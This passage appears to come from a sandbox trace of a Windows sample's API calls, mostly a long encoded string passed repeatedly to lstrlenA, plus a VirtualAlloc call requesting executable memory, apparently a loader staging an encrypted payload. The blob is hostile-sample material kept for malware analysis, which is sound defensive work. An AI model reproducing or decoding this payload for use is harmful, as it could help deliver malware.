nIkBtiL1LSbvOnQYhoTJtyuZYldNKts0RTwvkMvz8o4ZrVUQxZloQTxNYY0XhP1qtOeQy6vpPrQVp8OTCw6inOnUFMH1YR/l+GEaMxqf/Hv7IDBdfvozGMeacN2ZQYBxscjUA+WnGS6S879SOnF38AU54s/Xq5ew85QKqqoygwy0NCopSgmiKQX+YzuwLNNjCzQiYUooIKFMJXN+0h4yCltnNqBM5nLCbD1rty/PGe5rcqTHi+wx40bI4FY6+hbD4hzBK0Bdu0Vl5U08kosa/TQpX5KkSws/1xv3risuRmmejnI7nvoOZFDtpdW3c1yZef14h09G3fG/TtBFRY25jqXGHttZGyhnaZ717KrA7en2FaxEEJKNQUfn9rzG2oJLoIg08JPBCRWgJxLV4uqlV8bnagNHrEYVeZqqwneAjzQmCY+kmq32kTwJDAhLsoHLTpcbJBSJjNLHitgsPxG6/VZXxXnPjf4HPCwbFi7lJbJyLJ0TUyA5qrFq7inDPuW6u/E0nAjaIW0EQHQHOwLHfeOEzbBMrCmbsSr7qXUyWOen9l11DPiANUFT+us8hDCiObQzBxlH144cCJ0AgDg+JNpC39FPz3ulSWZL0lkSwuCXShs4IynIGLQ9uwjdai596keA1uoJd0/9rVj3UQ7RO9H95nEc1T/vKoBpv1Ma7M5LrpMsBpZsc5r9O6LpFPV7Qm4pj0NBQ6wny4iUkuPLibK9UAmmX4a5cwx4aljwqR4AFQ==", pcchString=0x19fd18) returned 1 [0042.880] lstrlenA (lpString="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") returned 5792 [0042.880] VirtualAlloc (lpAddress=0x0, dwSize=0x16a2, flAllocationType=0x3000, flProtect=0x40) returned 0x26f0000 [0042.880] lstrlenA (lpString="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") returned 5792 [0042.880] lstrlenA (lpString="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